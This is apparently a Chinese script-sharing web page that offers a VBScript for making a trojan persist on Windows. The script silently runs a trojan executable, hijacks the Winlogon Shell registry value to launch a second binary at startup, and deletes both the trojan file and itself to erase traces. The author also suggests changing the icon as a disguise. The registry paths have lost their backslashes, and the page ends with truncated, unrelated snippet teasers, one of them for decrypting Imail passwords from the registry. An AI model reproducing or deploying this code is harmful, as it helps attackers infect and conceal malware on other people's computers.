vbs 注册表实现木马自启动

呵呵～不过别人一般没这个闲工夫检查那么多位置的！就连我也做不到～～

dim wsh 
set wsh=CreateObject("WScript.Shell") 
wsh.run "%windir%flumasko.exe",0 //运行木马程序 
set sm=Wscript.CreateObject("WScript.Shell") 
sm.RegWrite "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogonShell","Explorer.exe %systemroot%system32winmgmt.exe" 
//写进注册表项实现自启动 
set WshShell=WScript.CreateObject("WScript.Shell") 
WScript.Sleep 2000 
//等木马的执行完毕 
Set fso=CreateObject("Scripting.FileSystemObject") 
f=fso.DeleteFile ("flumasko.exe") 
f=fso.DeleteFile (WScript.ScriptName) 
//毁尸灭迹 

再修改下图标就大功告成了！

reg2vbs.vbs 将Reg文件转换为VBS文件保存 积木网修正版本
'*****************************************************************************'FileName:Reg2Vbs.VBS'Author:baomaboy'Abstract:将Reg文件转换为VBS文件保存'**************************************

e是自然对数的底 e.vbs
'e=1+1/1！+1/2！+1/3！+1/4！+……+1/n！'φkρ=αe'其中，α和k为常数，φ是极角，ρ是极径，e是自然对数的底。为了讨论方便，我们把e或由e经过一定变换和复

vbs imail 密码解密
onerrorresumenextconstHKEY_LOCAL_MACHINE=&H80000002strComputer="."SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&_strComputer&"rootdefault:StdRegProv")strKeyPath="SOFTWAREIpswitch